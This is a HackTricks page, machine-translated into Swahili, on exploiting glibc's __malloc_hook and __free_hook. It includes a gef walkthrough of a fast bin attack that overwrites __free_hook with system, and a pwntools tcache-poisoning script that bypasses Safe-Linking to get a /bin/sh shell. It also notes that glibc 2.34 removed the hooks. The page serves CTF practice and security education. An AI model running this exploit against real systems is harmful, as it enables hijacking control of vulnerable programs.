136 lines
7.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
## **Malloc Hook**
Kama unavyoweza [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), variable **`__malloc_hook`** ni pointer inayotaja **anwani ya kazi itakayoitwa** kila wakati `malloc()` inapoitwa **iliyohifadhiwa katika sehemu ya data ya maktaba ya libc**. Hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**.
Ili kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inapata bytes nyingi sana ikifanya `libc` kuita malloc ili kuzigawa kwenye heap.
Taarifa zaidi kuhusu One Gadget katika:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Kumbuka kwamba hooks zime **zimemalizwa kwa GLIBC >= 2.34**. Kuna mbinu nyingine ambazo zinaweza kutumika kwenye toleo za kisasa za GLIBC. Tazama: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
Hii ilitumiwa vibaya katika moja ya mifano kutoka kwenye ukurasa ikitumia shambulio la fast bin baada ya kutumia shambulio la unsorted bin:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
Inawezekana kupata anwani ya `__free_hook` ikiwa binary ina alama kwa kutumia amri ifuatayo:
```bash
gef➤ p &__free_hook
```
[Katika posti](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) unaweza kupata mwongozo wa hatua kwa hatua juu ya jinsi ya kupata anwani ya free hook bila alama. Kwa muhtasari, katika kazi ya free:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 <free>: push ebx
0xf75dedc1 <free+1>: call 0xf768f625
0xf75dedc6 <free+6>: add ebx,0x14323a
0xf75dedcc <free+12>: sub esp,0x8
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
</strong>0xf75deddb <free+27>: test eax,eax ;<
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
</code></pre>
Katika kuvunja kunakotajwa katika msimbo uliotangulia, katika `$eax` kutakuwa na anwani ya free hook.
Sasa **shambulio la fast bin** linafanywa:
- Kwanza kabisa, inagundulika kuwa inawezekana kufanya kazi na fast **chunks za ukubwa 200** katika eneo la **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Ikiwa tutafanikiwa kupata chunk ya haraka ya ukubwa 0x200 katika eneo hili, itakuwa inawezekana kubadilisha kiashiria cha kazi ambacho kitatekelezwa
- Kwa hili, chunk mpya ya ukubwa `0xfc` inaundwa na kazi iliyounganishwa inaitwa kwa kiashiria hicho mara mbili, kwa njia hii tunapata kiashiria kwa chunk iliyofutwa ya ukubwa `0xfc*2 = 0x1f8` katika fast bin.
- Kisha, kazi ya kuhariri inaitwa katika chunk hii kubadilisha anwani ya **`fd`** ya fast bin hii ili kuelekeza kwenye kazi ya awali ya **`__free_hook`**.
- Kisha, chunk yenye ukubwa `0x1f8` inaundwa ili kupata kutoka kwa fast bin chunk isiyo na matumizi ya awali ili chunk nyingine ya ukubwa `0x1f8` iundwe ili kupata chunk ya fast bin katika **`__free_hook`** ambayo imeandikwa tena na anwani ya kazi ya **`system`**.
- Na hatimaye, chunk inayoshikilia mfuatano wa `/bin/sh\x00` inafutwa kwa kuita kazi ya kufuta, ikichochea kazi ya **`__free_hook`** ambayo inaelekeza kwa system na `/bin/sh\x00` kama parameter.
---
## Tcache poisoning & Safe-Linking (glibc 2.32 2.33)
glibc 2.32 ilianzisha **Safe-Linking** ukaguzi wa uaminifu unaolinda orodha za *single*-linked zinazotumiwa na **tcache** na fast-bins. Badala ya kuhifadhi kiashiria cha mbele cha moja kwa moja (`fd`), ptmalloc sasa inahifadhi *iliyofichwa* kwa kutumia macro ifuatayo:
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
Matokeo ya unyakuzi:
1. **heap leak** ni lazima mshambuliaji lazima ajue thamani ya wakati wa `chunk_addr >> 12` ili kuunda kiashiria kilichofichwa halali.
2. Ni lazima tu kiashiria kamili cha 8-byte kiandikwe; uandishi wa sehemu ya byte moja hautapita ukaguzi.
Primitive ndogo ya tcache-poisoning inayoweza kuandika `__free_hook` kwenye glibc 2.32/2.33 kwa hivyo inaonekana kama:
```py
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
```
The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 «Rusty Pointers»* and *openECSC 2023 «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`.
---
## Nini kilichobadilika katika glibc ≥ 2.34?
Kuanza na **glibc 2.34 (Agosti 2021)**, nyongeza za allocation `__malloc_hook`, `__realloc_hook`, `__memalign_hook` na `__free_hook` ziliondolewa kutoka API ya umma na hazitumiwi tena na allocator. Alama za ulinganifu bado zinatolewa kwa binaries za urithi, lakini kuandika tena hazihusishi tena mtiririko wa udhibiti wa `malloc()` au `free()`.
Mwanzo wa vitendo: katika usambazaji wa kisasa (Ubuntu 22.04+, Fedora 35+, Debian 12, nk.) lazima ubadilishe kwenda kwenye *mifumo mingine* ya hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, nk.) kwa sababu kuandika tena hook kutashindwa kimya.
Ikiwa bado unahitaji tabia ya zamani kwa ajili ya ufuatiliaji, glibc inatoa `libc_malloc_debug.so` ambayo inaweza kupakuliwa kabla ili kurejesha hooks za urithi lakini maktaba hii **haiwezi kutumika kwa uzalishaji na inaweza kutoweka katika toleo zijazo**.
---
## Marejeleo
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking Kuondoa primitive ya exploit ya malloc() ya miaka 20 (Check Point Research, 2020)
- glibc 2.34 notes za kutolewa kuondolewa kwa malloc hooks
{{#include ../../banners/hacktricks-training.md}}